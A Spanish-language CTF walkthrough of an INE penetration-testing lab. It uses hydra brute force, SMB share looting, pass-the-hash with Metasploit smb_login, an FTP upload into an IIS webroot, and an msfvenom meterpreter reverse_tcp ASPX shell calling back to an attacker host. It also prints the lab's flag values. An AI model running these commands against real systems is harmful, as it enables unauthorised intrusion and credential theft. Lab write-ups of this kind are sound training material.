~/write-ups/writeup-d207d93542
Host & Network Penetration Testing: Exploitation CTF 2
Imported from Notion: Host & Network Penetration Testing: Exploitation CTF 2
Pistas:
-
Looks like smb user tom has not changed his password from a very long time.
-
Using the NTLM hash list discovered in the previous challenge, can you compromise the smb user nancy?
-
I wonder what the hint found in the previous challenge be useful for!
-
Can you compromise the target machine and retrieve the C://flag4.txt file?
Empezamos con la primera, probamos brute force y vemos que imposible al protocolo smb, a si que hacemos brute force a ftp y rdp :
hydra -l tom /usr/share/wordlists/metasploit/unix_passwords.txt 10.2.28.210 ftp
hydra -l tom -P /usr/share/wordlists/metasploit/unix_passwords.txt 10.2.28.210 rdp
En el ataque rdp vemos que esta deshabilitado el usuario pero vemos una password felipe

Usamos smbclient para ver los shares:
smbclient -L target.ine.local -U tom

Procedemos a ver shares y solo tenemos acceso a HRDocuments :
smbclient //target.ine.local/HRDocuments -U tom

Descargamos flag1.txt :
get flag1.txt
La leemos y vemos que flag1.txt es 239c82e5d0264559beaedcb23ebd7ce5
Tambien vemos un .txt sospechoso en los shares de smb llamado leaked-hashes.txt
Lo descargamos con get leaked-hashes.txt y vemos que son 100 NTLMHashes
cat leaked-hashes.txt

wc -l leaked-hashes.txt

La segunda pista es clara, alguno es el NTLMHash del usuario nancy a si que seguimos los siguientes pasos:
Abrimos Metasploit para usar el módulo smb_login al cual podemos pasarle ese listado de NTLMHashes
Ponemos RHOSTS , SMBUser que será nancy y PASS_FILE que pondremos leaked-hashes.txt , además para crear una sesión smb pondremos CreateSession en true y lanzamos run

Con el comando shares podemos volver a listar los shares y entramos en ITResources :
shares -i ITResources

Podemos ver con cat o descargar con download los archivos .txt
La flag2.txt es 2d7c3a75479243f7a3383416912dae33
Y en hint.txt vemos credenciales en texto plano: david:omnitrix_9901

Probamos a conectarnos por smb pero no podemos, a si que probamos por ftp y conseguimos entrar:
ftp target.ine.local 21

Vemos ahi la flag3.txt que nos descargamos con el comando get y resulta ser: 43de9a034daa41f1923e6687acfaed84
Tambien vemos que es el directorio del servicio ISS a si que probamos a subir un archivo de prueba para ver si podemos acceder a el por Firefox :
echo "test" > test.txt
Y los subimos con el comando put por ftp
Accedemos a la ruta http://target.ine.local/test.txt y vemos que tenemos un RCE

Creamos una shell con msfvenom :
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.49.3 LPORT=1234 -f aspx > shell.aspx
La subimos con put y ponemos Metasploit en escucha:
use multi/handler
Ponemos LHOST ,LPORT y PAYLOAD y lanzamos run
Ahora en el navegador vamos a la shell que hemos subido http://target.ine.local/shell.aspx

- EOF -
<< back_to_index